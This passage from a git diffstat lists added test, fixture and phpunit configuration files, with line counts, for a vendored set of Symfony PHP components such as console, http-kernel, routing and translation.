17 + .../Tests/Fixtures/application_run2.txt | 29 + .../Tests/Fixtures/application_run3.txt | 27 + .../Tests/Fixtures/application_run4.txt | 1 + .../console/Tests/Fixtures/command_1.json | 14 + .../console/Tests/Fixtures/command_1.md | 11 + .../console/Tests/Fixtures/command_1.txt | 7 + .../console/Tests/Fixtures/command_1.xml | 12 + .../console/Tests/Fixtures/command_2.json | 32 + .../console/Tests/Fixtures/command_2.md | 33 + .../console/Tests/Fixtures/command_2.txt | 13 + .../console/Tests/Fixtures/command_2.xml | 21 + .../console/Tests/Fixtures/command_astext.txt | 18 + .../console/Tests/Fixtures/command_asxml.txt | 38 + .../Tests/Fixtures/command_mbstring.md | 33 + .../Tests/Fixtures/command_mbstring.txt | 13 + .../Tests/Fixtures/definition_astext.txt | 11 + .../Tests/Fixtures/definition_asxml.txt | 39 + .../Tests/Fixtures/input_argument_1.json | 7 + .../Tests/Fixtures/input_argument_1.md | 7 + .../Tests/Fixtures/input_argument_1.txt | 1 + .../Tests/Fixtures/input_argument_1.xml | 5 + .../Tests/Fixtures/input_argument_2.json | 7 + .../Tests/Fixtures/input_argument_2.md | 7 + .../Tests/Fixtures/input_argument_2.txt | 1 + .../Tests/Fixtures/input_argument_2.xml | 5 + .../Tests/Fixtures/input_argument_3.json | 7 + .../Tests/Fixtures/input_argument_3.md | 7 + .../Tests/Fixtures/input_argument_3.txt | 1 + .../Tests/Fixtures/input_argument_3.xml | 7 + .../Tests/Fixtures/input_argument_4.json | 7 + .../Tests/Fixtures/input_argument_4.md | 8 + .../Tests/Fixtures/input_argument_4.txt | 2 + .../Tests/Fixtures/input_argument_4.xml | 6 + ...input_argument_with_default_inf_value.json | 7 + .../input_argument_with_default_inf_value.md | 7 + .../input_argument_with_default_inf_value.txt | 1 + .../input_argument_with_default_inf_value.xml | 7 + .../Fixtures/input_argument_with_style.json | 7 + .../Fixtures/input_argument_with_style.md | 7 + .../Fixtures/input_argument_with_style.txt | 1 + .../Fixtures/input_argument_with_style.xml | 7 + .../Tests/Fixtures/input_definition_1.json | 4 + .../Tests/Fixtures/input_definition_1.md | 0 .../Tests/Fixtures/input_definition_1.txt | 0 .../Tests/Fixtures/input_definition_1.xml | 5 + .../Tests/Fixtures/input_definition_2.json | 12 + .../Tests/Fixtures/input_definition_2.md | 9 + .../Tests/Fixtures/input_definition_2.txt | 2 + .../Tests/Fixtures/input_definition_2.xml | 10 + .../Tests/Fixtures/input_definition_3.json | 14 + .../Tests/Fixtures/input_definition_3.md | 11 + .../Tests/Fixtures/input_definition_3.txt | 2 + .../Tests/Fixtures/input_definition_3.xml | 9 + .../Tests/Fixtures/input_definition_4.json | 22 + .../Tests/Fixtures/input_definition_4.md | 21 + .../Tests/Fixtures/input_definition_4.txt | 5 + .../Tests/Fixtures/input_definition_4.xml | 14 + .../Tests/Fixtures/input_option_1.json | 9 + .../console/Tests/Fixtures/input_option_1.md | 9 + .../console/Tests/Fixtures/input_option_1.txt | 1 + .../console/Tests/Fixtures/input_option_1.xml | 4 + .../Tests/Fixtures/input_option_2.json | 9 + .../console/Tests/Fixtures/input_option_2.md | 9 + .../console/Tests/Fixtures/input_option_2.txt | 1 + .../console/Tests/Fixtures/input_option_2.xml | 7 + .../Tests/Fixtures/input_option_3.json | 9 + .../console/Tests/Fixtures/input_option_3.md | 9 + .../console/Tests/Fixtures/input_option_3.txt | 1 + .../console/Tests/Fixtures/input_option_3.xml | 5 + .../Tests/Fixtures/input_option_4.json | 9 + .../console/Tests/Fixtures/input_option_4.md | 9 + .../console/Tests/Fixtures/input_option_4.txt | 1 + .../console/Tests/Fixtures/input_option_4.xml | 5 + .../Tests/Fixtures/input_option_5.json | 9 + .../console/Tests/Fixtures/input_option_5.md | 10 + .../console/Tests/Fixtures/input_option_5.txt | 2 + .../console/Tests/Fixtures/input_option_5.xml | 6 + .../Tests/Fixtures/input_option_6.json | 9 + .../console/Tests/Fixtures/input_option_6.md | 9 + .../console/Tests/Fixtures/input_option_6.txt | 1 + .../console/Tests/Fixtures/input_option_6.xml | 5 + .../input_option_with_default_inf_value.json | 9 + .../input_option_with_default_inf_value.md | 9 + .../input_option_with_default_inf_value.txt | 1 + .../input_option_with_default_inf_value.xml | 7 + .../Fixtures/input_option_with_style.json | 9 + .../Tests/Fixtures/input_option_with_style.md | 9 + .../Fixtures/input_option_with_style.txt | 1 + .../Fixtures/input_option_with_style.xml | 7 + .../input_option_with_style_array.json | 12 + .../Fixtures/input_option_with_style_array.md | 9 + .../input_option_with_style_array.txt | 1 + .../input_option_with_style_array.xml | 8 + .../OutputFormatterStyleStackTest.php | 71 + .../Formatter/OutputFormatterStyleTest.php | 100 + .../Tests/Formatter/OutputFormatterTest.php | 283 + .../Tests/Helper/FormatterHelperTest.php | 99 + .../console/Tests/Helper/HelperSetTest.php | 126 + .../console/Tests/Helper/HelperTest.php | 55 + .../Tests/Helper/LegacyDialogHelperTest.php | 258 + .../Tests/Helper/LegacyProgressHelperTest.php | 228 + .../Tests/Helper/LegacyTableHelperTest.php | 323 + .../Tests/Helper/ProcessHelperTest.php | 119 + .../console/Tests/Helper/ProgressBarTest.php | 668 + .../Tests/Helper/QuestionHelperTest.php | 624 + .../Helper/SymfonyQuestionHelperTest.php | 159 + .../console/Tests/Helper/TableStyleTest.php | 28 + .../console/Tests/Helper/TableTest.php | 705 ++ .../console/Tests/Input/ArgvInputTest.php | 416 + .../console/Tests/Input/ArrayInputTest.php | 150 + .../console/Tests/Input/InputArgumentTest.php | 117 + .../Tests/Input/InputDefinitionTest.php | 441 + .../console/Tests/Input/InputOptionTest.php | 210 + .../symfony/console/Tests/Input/InputTest.php | 133 + .../console/Tests/Input/StringInputTest.php | 100 + .../Tests/Logger/ConsoleLoggerTest.php | 171 + .../Tests/Output/ConsoleOutputTest.php | 42 + .../console/Tests/Output/NullOutputTest.php | 88 + .../console/Tests/Output/OutputTest.php | 157 + .../console/Tests/Output/StreamOutputTest.php | 61 + .../console/Tests/Style/SymfonyStyleTest.php | 73 + .../Tests/Tester/ApplicationTesterTest.php | 70 + .../Tests/Tester/CommandTesterTest.php | 85 + vendor/symfony/console/phpunit.xml.dist | 31 + vendor/symfony/css-selector/CHANGELOG.md | 13 + .../Tests/CssSelectorConverterTest.php | 76 + .../css-selector/Tests/CssSelectorTest.php | 68 + .../Tests/Node/AbstractNodeTest.php | 34 + .../Tests/Node/AttributeNodeTest.php | 37 + .../css-selector/Tests/Node/ClassNodeTest.php | 33 + .../Tests/Node/CombinedSelectorNodeTest.php | 35 + .../Tests/Node/ElementNodeTest.php | 35 + .../Tests/Node/FunctionNodeTest.php | 47 + .../css-selector/Tests/Node/HashNodeTest.php | 33 + .../Tests/Node/NegationNodeTest.php | 33 + .../Tests/Node/PseudoNodeTest.php | 32 + .../Tests/Node/SelectorNodeTest.php | 34 + .../Tests/Node/SpecificityTest.php | 63 + .../Parser/Handler/AbstractHandlerTest.php | 70 + .../Parser/Handler/CommentHandlerTest.php | 55 + .../Tests/Parser/Handler/HashHandlerTest.php | 49 + .../Parser/Handler/IdentifierHandlerTest.php | 49 + .../Parser/Handler/NumberHandlerTest.php | 50 + .../Parser/Handler/StringHandlerTest.php | 50 + .../Parser/Handler/WhitespaceHandlerTest.php | 44 + .../css-selector/Tests/Parser/ParserTest.php | 250 + .../css-selector/Tests/Parser/ReaderTest.php | 102 + .../Tests/Parser/Shortcut/ClassParserTest.php | 45 + .../Parser/Shortcut/ElementParserTest.php | 44 + .../Parser/Shortcut/EmptyStringParserTest.php | 36 + .../Tests/Parser/Shortcut/HashParserTest.php | 45 + .../Tests/Parser/TokenStreamTest.php | 96 + .../Tests/XPath/Fixtures/ids.html | 48 + .../Tests/XPath/Fixtures/lang.xml | 11 + .../Tests/XPath/Fixtures/shakespear.html | 308 + .../Tests/XPath/TranslatorTest.php | 327 + vendor/symfony/css-selector/phpunit.xml.dist | 31 + vendor/symfony/debug/CHANGELOG.md | 35 + .../debug/Resources/ext/tests/001.phpt | 155 + .../debug/Resources/ext/tests/002.phpt | 65 + .../debug/Resources/ext/tests/002_1.phpt | 48 + .../debug/Resources/ext/tests/003.phpt | 87 + .../debug/Tests/DebugClassLoaderTest.php | 315 + .../symfony/debug/Tests/ErrorHandlerTest.php | 571 + .../Tests/Exception/FlattenExceptionTest.php | 272 + .../debug/Tests/ExceptionHandlerTest.php | 135 + .../ClassNotFoundFatalErrorHandlerTest.php | 201 + ...UndefinedFunctionFatalErrorHandlerTest.php | 81 + .../UndefinedMethodFatalErrorHandlerTest.php | 76 + .../debug/Tests/Fixtures/ClassAlias.php | 3 + .../debug/Tests/Fixtures/DeprecatedClass.php | 12 + .../Tests/Fixtures/DeprecatedInterface.php | 12 + .../debug/Tests/Fixtures/PEARClass.php | 5 + .../symfony/debug/Tests/Fixtures/Throwing.php | 3 + .../debug/Tests/Fixtures/casemismatch.php | 7 + .../debug/Tests/Fixtures/notPsr0Bis.php | 7 + .../Tests/Fixtures/psr4/Psr4CaseMismatch.php | 7 + .../debug/Tests/Fixtures/reallyNotPsr0.php | 7 + .../debug/Tests/Fixtures2/RequiredTwice.php | 7 + vendor/symfony/debug/Tests/HeaderMock.php | 38 + .../debug/Tests/MockExceptionHandler.php | 24 + .../Tests/phpt/decorate_exception_hander.phpt | 46 + .../debug/Tests/phpt/exception_rethrown.phpt | 35 + .../phpt/fatal_with_nested_handlers.phpt | 42 + vendor/symfony/debug/phpunit.xml.dist | 33 + vendor/symfony/dom-crawler/CHANGELOG.md | 45 + .../symfony/dom-crawler/Tests/CrawlerTest.php | 1050 ++ .../Tests/Field/ChoiceFormFieldTest.php | 404 + .../Tests/Field/FileFormFieldTest.php | 114 + .../dom-crawler/Tests/Field/FormFieldTest.php | 38 + .../Tests/Field/FormFieldTestCase.php | 29 + .../Tests/Field/InputFormFieldTest.php | 49 + .../Tests/Field/TextareaFormFieldTest.php | 46 + .../dom-crawler/Tests/Fixtures/no-extension | 1 + .../Tests/Fixtures/windows-1250.html | 8 + vendor/symfony/dom-crawler/Tests/FormTest.php | 950 ++ vendor/symfony/dom-crawler/Tests/LinkTest.php | 161 + vendor/symfony/dom-crawler/phpunit.xml.dist | 31 + vendor/symfony/event-dispatcher/CHANGELOG.md | 23 + .../Tests/AbstractEventDispatcherTest.php | 398 + .../ContainerAwareEventDispatcherTest.php | 277 + .../Debug/TraceableEventDispatcherTest.php | 254 + .../RegisterListenersPassTest.php | 154 + .../Tests/EventDispatcherTest.php | 22 + .../event-dispatcher/Tests/EventTest.php | 97 + .../Tests/GenericEventTest.php | 136 + .../Tests/ImmutableEventDispatcherTest.php | 106 + .../symfony/event-dispatcher/phpunit.xml.dist | 31 + vendor/symfony/finder/CHANGELOG.md | 34 + vendor/symfony/finder/Tests/BsdFinderTest.php | 38 + .../Tests/Comparator/ComparatorTest.php | 65 + .../Tests/Comparator/DateComparatorTest.php | 64 + .../Tests/Comparator/NumberComparatorTest.php | 108 + .../Tests/Expression/ExpressionTest.php | 69 + .../finder/Tests/Expression/GlobTest.php | 48 + .../finder/Tests/Expression/RegexTest.php | 144 + .../finder/Tests/FakeAdapter/DummyAdapter.php | 57 + .../Tests/FakeAdapter/FailingAdapter.php | 45 + .../finder/Tests/FakeAdapter/NamedAdapter.php | 57 + .../Tests/FakeAdapter/UnsupportedAdapter.php | 44 + vendor/symfony/finder/Tests/FinderTest.php | 787 ++ .../finder/Tests/Fixtures/A/B/C/abc.dat | 0 .../symfony/finder/Tests/Fixtures/A/B/ab.dat | 0 vendor/symfony/finder/Tests/Fixtures/A/a.dat | 0 .../Tests/Fixtures/copy/A/B/C/abc.dat.copy | 0 .../Tests/Fixtures/copy/A/B/ab.dat.copy | 0 .../finder/Tests/Fixtures/copy/A/a.dat.copy | 0 .../symfony/finder/Tests/Fixtures/dolor.txt | 2 + .../symfony/finder/Tests/Fixtures/ipsum.txt | 2 + .../symfony/finder/Tests/Fixtures/lorem.txt | 2 + vendor/symfony/finder/Tests/Fixtures/one/a | 0 .../finder/Tests/Fixtures/one/b/c.neon | 0 .../finder/Tests/Fixtures/one/b/d.neon | 0 .../Fixtures/r+e.gex[c]a(r)s/dir/bar.dat | 0 .../finder/Tests/Fixtures/with space/foo.txt | 0 vendor/symfony/finder/Tests/GlobTest.php | 26 + vendor/symfony/finder/Tests/GnuFinderTest.php | 38 + .../Iterator/CustomFilterIteratorTest.php | 46 + .../Iterator/DateRangeFilterIteratorTest.php | 74 + .../Iterator/DepthRangeFilterIteratorTest.php | 83 + .../ExcludeDirectoryFilterIteratorTest.php | 80 + .../Tests/Iterator/FilePathsIteratorTest.php | 69 + .../Iterator/FileTypeFilterIteratorTest.php | 73 + .../FilecontentFilterIteratorTest.php | 86 + .../Iterator/FilenameFilterIteratorTest.php | 54 + .../Tests/Iterator/FilterIteratorTest.php | 51 + .../finder/Tests/Iterator/Iterator.php | 55 + .../Tests/Iterator/IteratorTestCase.php | 100 + .../Tests/Iterator/MockFileListIterator.php | 21 + .../finder/Tests/Iterator/MockSplFileInfo.php | 132 + .../MultiplePcreFilterIteratorTest.php | 68 + .../Tests/Iterator/PathFilterIteratorTest.php | 82 + .../Tests/Iterator/RealIteratorTestCase.php | 110 + .../RecursiveDirectoryIteratorTest.php | 59 + .../Iterator/SizeRangeFilterIteratorTest.php | 69 + .../Tests/Iterator/SortableIteratorTest.php | 183 + .../finder/Tests/Shell/CommandTest.php | 163 + vendor/symfony/finder/phpunit.xml.dist | 30 + vendor/symfony/http-foundation/CHANGELOG.md | 128 + .../Tests/AcceptHeaderItemTest.php | 113 + .../Tests/AcceptHeaderTest.php | 103 + .../Tests/ApacheRequestTest.php | 93 + .../Tests/BinaryFileResponseTest.php | 341 + .../http-foundation/Tests/CookieTest.php | 172 + .../Tests/ExpressionRequestMatcherTest.php | 69 + .../http-foundation/Tests/File/FakeFile.php | 45 + .../http-foundation/Tests/File/FileTest.php | 180 + .../Tests/File/Fixtures/.unknownextension | 1 + .../Tests/File/Fixtures/directory/.empty | 0 .../Tests/File/Fixtures/other-file.example | 0 .../http-foundation/Tests/File/Fixtures/test | Bin 0 -> 35 bytes .../Tests/File/Fixtures/test.gif | Bin 0 -> 35 bytes .../Tests/File/MimeType/MimeTypeTest.php | 90 + .../Tests/File/UploadedFileTest.php | 273 + .../http-foundation/Tests/FileBagTest.php | 175 + .../http-foundation/Tests/HeaderBagTest.php | 196 + .../http-foundation/Tests/IpUtilsTest.php | 104 + .../Tests/JsonResponseTest.php | 238 + .../Tests/ParameterBagTest.php | 225 + .../Tests/RedirectResponseTest.php | 84 + .../Tests/RequestMatcherTest.php | 151 + .../Tests/RequestStackTest.php | 70 + .../http-foundation/Tests/RequestTest.php | 2045 +++ .../Tests/ResponseHeaderBagTest.php | 313 + .../http-foundation/Tests/ResponseTest.php | 954 ++ .../Tests/ResponseTestCase.php | 89 + .../http-foundation/Tests/ServerBagTest.php | 170 + .../Session/Attribute/AttributeBagTest.php | 186 + .../Attribute/NamespacedAttributeBagTest.php | 182 + .../Session/Flash/AutoExpireFlashBagTest.php | 161 + .../Tests/Session/Flash/FlashBagTest.php | 152 + .../Tests/Session/SessionTest.php | 224 + .../Handler/LegacyPdoSessionHandlerTest.php | 114 + .../Handler/MemcacheSessionHandlerTest.php | 134 + .../Handler/MemcachedSessionHandlerTest.php | 139 + .../Handler/MongoDbSessionHandlerTest.php | 338 + .../Handler/NativeFileSessionHandlerTest.php | 82 + .../Handler/NativeSessionHandlerTest.php | 41 + .../Handler/NullSessionHandlerTest.php | 59 + .../Storage/Handler/PdoSessionHandlerTest.php | 373 + .../Handler/WriteCheckSessionHandlerTest.php | 95 + .../Tests/Session/Storage/MetadataBagTest.php | 139 + .../Storage/MockArraySessionStorageTest.php | 131 + .../Storage/MockFileSessionStorageTest.php | 127 + .../Storage/NativeSessionStorageTest.php | 331 + .../Storage/PhpBridgeSessionStorageTest.php | 123 + .../Storage/Proxy/AbstractProxyTest.php | 206 + .../Session/Storage/Proxy/NativeProxyTest.php | 36 + .../Storage/Proxy/SessionHandlerProxyTest.php | 128 + .../Tests/StreamedResponseTest.php | 135 + .../Tests/schema/http-status-codes.rng | 31 + .../Tests/schema/iana-registry.rng | 198 + .../symfony/http-foundation/phpunit.xml.dist | 31 + vendor/symfony/http-kernel/CHANGELOG.md | 73 + .../http-kernel/Tests/Bundle/BundleTest.php | 60 + .../CacheClearer/ChainCacheClearerTest.php | 58 + .../CacheWarmer/CacheWarmerAggregateTest.php | 101 + .../Tests/CacheWarmer/CacheWarmerTest.php | 68 + .../symfony/http-kernel/Tests/ClientTest.php | 180 + .../Config/EnvParametersResourceTest.php | 107 + .../Tests/Config/FileLocatorTest.php | 48 + .../Controller/ControllerResolverTest.php | 300 + .../DataCollector/ConfigDataCollectorTest.php | 81 + .../DataCollector/DumpDataCollectorTest.php | 156 + .../ExceptionDataCollectorTest.php | 40 + .../DataCollector/LoggerDataCollectorTest.php | 96 + .../DataCollector/MemoryDataCollectorTest.php | 59 + .../RequestDataCollectorTest.php | 223 + .../DataCollector/TimeDataCollectorTest.php | 55 + .../DataCollector/Util/ValueExporterTest.php | 51 + .../Debug/TraceableEventDispatcherTest.php | 118 + .../ContainerAwareHttpKernelTest.php | 171 + .../FragmentRendererPassTest.php | 82 + .../LazyLoadingFragmentHandlerTest.php | 41 + .../MergeExtensionConfigurationPassTest.php | 50 + .../AddRequestFormatsListenerTest.php | 84 + .../DebugHandlersListenerTest.php | 155 + .../Tests/EventListener/DumpListenerTest.php | 83 + .../EventListener/ExceptionListenerTest.php | 178 + .../EventListener/FragmentListenerTest.php | 122 + .../EventListener/LocaleListenerTest.php | 102 + .../EventListener/ProfilerListenerTest.php | 106 + .../EventListener/ResponseListenerTest.php | 95 + .../EventListener/RouterListenerTest.php | 173 + .../EventListener/SurrogateListenerTest.php | 67 + .../EventListener/TestSessionListenerTest.php | 132 + .../EventListener/TranslatorListenerTest.php | 118 + .../ValidateRequestListenerTest.php | 43 + .../Tests/Fixtures/123/Kernel123.php | 37 + .../Fixtures/BaseBundle/Resources/foo.txt | 0 .../Fixtures/BaseBundle/Resources/hide.txt | 0 .../Fixtures/Bundle1Bundle/Resources/foo.txt | 0 .../Tests/Fixtures/Bundle1Bundle/bar.txt | 0 .../Tests/Fixtures/Bundle1Bundle/foo.txt | 0 .../Tests/Fixtures/Bundle2Bundle/foo.txt | 0 .../Fixtures/ChildBundle/Resources/foo.txt | 0 .../Fixtures/ChildBundle/Resources/hide.txt | 0 .../Controller/NullableController.php | 19 + .../Controller/VariadicController.php | 10 + .../ExtensionAbsentBundle.php | 18 + .../ExtensionLoadedExtension.php | 22 + .../ExtensionLoadedBundle.php | 18 + .../ExtensionNotValidExtension.php | 20 + .../ExtensionNotValidBundle.php | 18 + .../Command/BarCommand.php | 17 + .../Command/FooCommand.php | 22 + .../ExtensionPresentExtension.php | 22 + .../ExtensionPresentBundle.php | 18 + .../Tests/Fixtures/FooBarBundle.php | 19 + .../Tests/Fixtures/KernelForOverrideName.php | 28 + .../Tests/Fixtures/KernelForTest.php | 37 + .../Fixtures/Resources/BaseBundle/hide.txt | 0 .../Fixtures/Resources/Bundle1Bundle/foo.txt | 0 .../Fixtures/Resources/ChildBundle/foo.txt | 0 .../Fixtures/Resources/FooBundle/foo.txt | 0 .../http-kernel/Tests/Fixtures/TestClient.php | 31 + .../Tests/Fixtures/TestEventDispatcher.php | 28 + .../Fragment/EsiFragmentRendererTest.php | 98 + .../Tests/Fragment/FragmentHandlerTest.php | 99 + .../Fragment/HIncludeFragmentRendererTest.php | 89 + .../Fragment/InlineFragmentRendererTest.php | 275 + .../Fragment/RoutableFragmentRendererTest.php | 94 + .../Fragment/SsiFragmentRendererTest.php | 97 + .../http-kernel/Tests/HttpCache/EsiTest.php | 248 + .../Tests/HttpCache/HttpCacheTest.php | 1455 +++ .../Tests/HttpCache/HttpCacheTestCase.php | 181 + .../HttpCache/ResponseCacheStrategyTest.php | 240 + .../http-kernel/Tests/HttpCache/SsiTest.php | 215 + .../http-kernel/Tests/HttpCache/StoreTest.php | 301 + .../Tests/HttpCache/SubRequestHandlerTest.php | 163 + .../Tests/HttpCache/TestHttpKernel.php | 112 + .../HttpCache/TestMultipleHttpKernel.php | 80 + .../http-kernel/Tests/HttpKernelTest.php | 341 + .../symfony/http-kernel/Tests/KernelTest.php | 875 ++ vendor/symfony/http-kernel/Tests/Logger.php | 128 + .../Profiler/AbstractProfilerStorageTest.php | 271 + .../Profiler/FileProfilerStorageTest.php | 100 + .../Profiler/MemcacheProfilerStorageTest.php | 49 + .../Profiler/MemcachedProfilerStorageTest.php | 49 + .../Tests/Profiler/Mock/MemcacheMock.php | 254 + .../Tests/Profiler/Mock/MemcachedMock.php | 219 + .../Tests/Profiler/Mock/RedisMock.php | 247 + .../Profiler/MongoDbProfilerStorageTest.php | 166 + .../Tests/Profiler/ProfilerTest.php | 83 + .../Profiler/RedisProfilerStorageTest.php | 49 + .../Profiler/SqliteProfilerStorageTest.php | 50 + .../http-kernel/Tests/TestHttpKernel.php | 41 + .../http-kernel/Tests/UriSignerTest.php | 53 + vendor/symfony/http-kernel/phpunit.xml.dist | 40 + vendor/symfony/process/CHANGELOG.md | 40 + .../process/Tests/ExecutableFinderTest.php | 145 + .../process/Tests/NonStopableProcess.php | 47 + .../process/Tests/PhpExecutableFinderTest.php | 100 + .../symfony/process/Tests/PhpProcessTest.php | 50 + .../PipeStdinInStdoutStdErrStreamSelect.php | 72 + .../process/Tests/ProcessBuilderTest.php | 226 + .../Tests/ProcessFailedExceptionTest.php | 125 + vendor/symfony/process/Tests/ProcessTest.php | 1288 ++ .../process/Tests/ProcessUtilsTest.php | 50 + .../symfony/process/Tests/SignalListener.php | 21 + vendor/symfony/process/phpunit.xml.dist | 30 + vendor/symfony/routing/CHANGELOG.md | 177 + .../routing/Tests/Annotation/RouteTest.php | 59 + .../routing/Tests/CompiledRouteTest.php | 27 + .../AnnotatedClasses/AbstractClass.php | 16 + .../Fixtures/AnnotatedClasses/BarClass.php | 19 + .../Fixtures/AnnotatedClasses/FooClass.php | 16 + .../Fixtures/AnnotatedClasses/FooTrait.php | 13 + .../Tests/Fixtures/CustomXmlFileLoader.php | 26 + .../AnonymousClassInTrait.php | 24 + .../OtherAnnotatedClasses/VariadicClass.php | 19 + .../Tests/Fixtures/RedirectableUrlMatcher.php | 30 + .../routing/Tests/Fixtures/annotated.php | 0 .../routing/Tests/Fixtures/bad_format.yml | 3 + vendor/symfony/routing/Tests/Fixtures/bar.xml | 0 .../Tests/Fixtures/dumper/url_matcher1.apache | 163 + .../Tests/Fixtures/dumper/url_matcher1.php | 307 + .../Tests/Fixtures/dumper/url_matcher2.apache | 7 + .../Tests/Fixtures/dumper/url_matcher2.php | 364 + .../Tests/Fixtures/dumper/url_matcher3.php | 45 + .../symfony/routing/Tests/Fixtures/empty.yml | 0 vendor/symfony/routing/Tests/Fixtures/foo.xml | 0 .../symfony/routing/Tests/Fixtures/foo1.xml | 0 .../routing/Tests/Fixtures/incomplete.yml | 2 + .../Tests/Fixtures/legacy_validpattern.xml | 16 + .../Tests/Fixtures/legacy_validpattern.yml | 8 + .../routing/Tests/Fixtures/missing_id.xml | 8 + .../routing/Tests/Fixtures/missing_path.xml | 8 + .../Tests/Fixtures/namespaceprefix.xml | 13 + .../Fixtures/nonesense_resource_plus_path.yml | 3 + .../nonesense_type_without_resource.yml | 3 + .../routing/Tests/Fixtures/nonvalid.xml | 10 + .../routing/Tests/Fixtures/nonvalid.yml | 1 + .../routing/Tests/Fixtures/nonvalid2.yml | 1 + .../routing/Tests/Fixtures/nonvalidkeys.yml | 3 + .../routing/Tests/Fixtures/nonvalidnode.xml | 8 + .../routing/Tests/Fixtures/nonvalidroute.xml | 12 + .../routing/Tests/Fixtures/null_values.xml | 12 + .../Tests/Fixtures/special_route_name.yml | 2 + .../routing/Tests/Fixtures/validpattern.php | 18 + .../routing/Tests/Fixtures/validpattern.xml | 15 + .../routing/Tests/Fixtures/validpattern.yml | 13 + .../routing/Tests/Fixtures/validresource.php | 18 + .../routing/Tests/Fixtures/validresource.xml | 13 + .../routing/Tests/Fixtures/validresource.yml | 8 + .../Fixtures/with_define_path_variable.php | 5 + .../routing/Tests/Fixtures/withdoctype.xml | 3 + .../Dumper/PhpGeneratorDumperTest.php | 181 + .../Tests/Generator/UrlGeneratorTest.php | 709 ++ .../Loader/AbstractAnnotationLoaderTest.php | 33 + .../Loader/AnnotationClassLoaderTest.php | 187 + .../Loader/AnnotationDirectoryLoaderTest.php | 78 + .../Tests/Loader/AnnotationFileLoaderTest.php | 82 + .../Tests/Loader/ClosureLoaderTest.php | 49 + .../Tests/Loader/PhpFileLoaderTest.php | 83 + .../Tests/Loader/XmlFileLoaderTest.php | 153 + .../Tests/Loader/YamlFileLoaderTest.php | 131 + .../DumpedRedirectableUrlMatcherTest.php | 43 + .../Tests/Matcher/DumpedUrlMatcherTest.php | 48 + .../Matcher/Dumper/DumperCollectionTest.php | 34 + .../Dumper/DumperPrefixCollectionTest.php | 124 + .../Dumper/LegacyApacheMatcherDumperTest.php | 216 + .../Matcher/Dumper/PhpMatcherDumperTest.php | 360 + .../Matcher/LegacyApacheUrlMatcherTest.php | 156 + .../Matcher/RedirectableUrlMatcherTest.php | 94 + .../Tests/Matcher/TraceableUrlMatcherTest.php | 122 + .../routing/Tests/Matcher/UrlMatcherTest.php | 483 + .../routing/Tests/RequestContextTest.php | 160 + .../routing/Tests/RouteCollectionTest.php | 305 + .../routing/Tests/RouteCompilerTest.php | 278 + vendor/symfony/routing/Tests/RouteTest.php | 285 + vendor/symfony/routing/Tests/RouterTest.php | 163 + vendor/symfony/routing/phpunit.xml.dist | 30 + vendor/symfony/translation/CHANGELOG.md | 47 + .../Tests/Catalogue/AbstractOperationTest.php | 74 + .../Tests/Catalogue/DiffOperationTest.php | 82 + .../Tests/Catalogue/MergeOperationTest.php | 83 + .../TranslationDataCollectorTest.php | 122 + .../Tests/DataCollectorTranslatorTest.php | 74 + .../Tests/Dumper/CsvFileDumperTest.php | 34 + .../Tests/Dumper/FileDumperTest.php | 71 + .../Tests/Dumper/IcuResFileDumperTest.php | 38 + .../Tests/Dumper/IniFileDumperTest.php | 33 + .../Tests/Dumper/JsonFileDumperTest.php | 37 + .../Tests/Dumper/MoFileDumperTest.php | 32 + .../Tests/Dumper/PhpFileDumperTest.php | 33 + .../Tests/Dumper/PoFileDumperTest.php | 32 + .../Tests/Dumper/QtFileDumperTest.php | 33 + .../Tests/Dumper/XliffFileDumperTest.php | 39 + .../Tests/Dumper/YamlFileDumperTest.php | 33 + .../Tests/IdentityTranslatorTest.php | 96 + .../translation/Tests/IntervalTest.php | 49 + .../Tests/Loader/CsvFileLoaderTest.php | 61 + .../Tests/Loader/IcuDatFileLoaderTest.php | 64 + .../Tests/Loader/IcuResFileLoaderTest.php | 51 + .../Tests/Loader/IniFileLoaderTest.php | 51 + .../Tests/Loader/JsonFileLoaderTest.php | 62 + .../Tests/Loader/LocalizedTestCase.php | 24 + .../Tests/Loader/MoFileLoaderTest.php | 72 + .../Tests/Loader/PhpFileLoaderTest.php | 50 + .../Tests/Loader/PoFileLoaderTest.php | 109 + .../Tests/Loader/QtFileLoaderTest.php | 75 + .../Tests/Loader/XliffFileLoaderTest.php | 167 + .../Tests/Loader/YamlFileLoaderTest.php | 71 + .../Tests/LoggingTranslatorTest.php | 50 + .../Tests/MessageCatalogueTest.php | 222 + .../translation/Tests/MessageSelectorTest.php | 131 + .../Tests/PluralizationRulesTest.php | 122 + .../translation/Tests/TranslatorCacheTest.php | 311 + .../translation/Tests/TranslatorTest.php | 661 + .../Tests/Writer/TranslationWriterTest.php | 66 + .../Tests/fixtures/empty-translation.mo | Bin 0 -> 49 bytes .../Tests/fixtures/empty-translation.po | 3 + .../translation/Tests/fixtures/empty.csv | 0 .../translation/Tests/fixtures/empty.ini | 0 .../translation/Tests/fixtures/empty.json | 0 .../translation/Tests/fixtures/empty.mo | 0 .../translation/Tests/fixtures/empty.po | 0 .../translation/Tests/fixtures/empty.xlf | 0 .../translation/Tests/fixtures/empty.yml | 0 .../translation/Tests/fixtures/encoding.xlf | 16 + .../Tests/fixtures/escaped-id-plurals.po | 10 + .../translation/Tests/fixtures/escaped-id.po | 8 + .../Tests/fixtures/fuzzy-translations.po | 10 + .../Tests/fixtures/invalid-xml-resources.xlf | 23 + .../translation/Tests/fixtures/malformed.json | 3 + .../translation/Tests/fixtures/non-valid.xlf | 11 + .../translation/Tests/fixtures/non-valid.yml | 1 + .../translation/Tests/fixtures/plurals.mo | Bin 0 -> 74 bytes .../translation/Tests/fixtures/plurals.po | 5 + .../translation/Tests/fixtures/resname.xlf | 19 + .../resourcebundle/corrupted/resources.dat | 1 + .../Tests/fixtures/resourcebundle/dat/en.res | Bin 0 -> 120 bytes .../Tests/fixtures/resourcebundle/dat/en.txt | 3 + .../Tests/fixtures/resourcebundle/dat/fr.res | Bin 0 -> 124 bytes .../Tests/fixtures/resourcebundle/dat/fr.txt | 3 + .../resourcebundle/dat/packagelist.txt | 2 + .../fixtures/resourcebundle/dat/resources.dat | Bin 0 -> 352 bytes .../Tests/fixtures/resourcebundle/res/en.res | Bin 0 -> 84 bytes .../Tests/fixtures/resources-clean.xlf | 22 + .../translation/Tests/fixtures/resources.csv | 4 + .../translation/Tests/fixtures/resources.ini | 1 + .../translation/Tests/fixtures/resources.json | 3 + .../translation/Tests/fixtures/resources.mo | Bin 0 -> 52 bytes .../translation/Tests/fixtures/resources.php | 5 + .../translation/Tests/fixtures/resources.po | 8 + .../translation/Tests/fixtures/resources.ts | 10 + .../translation/Tests/fixtures/resources.xlf | 23 + 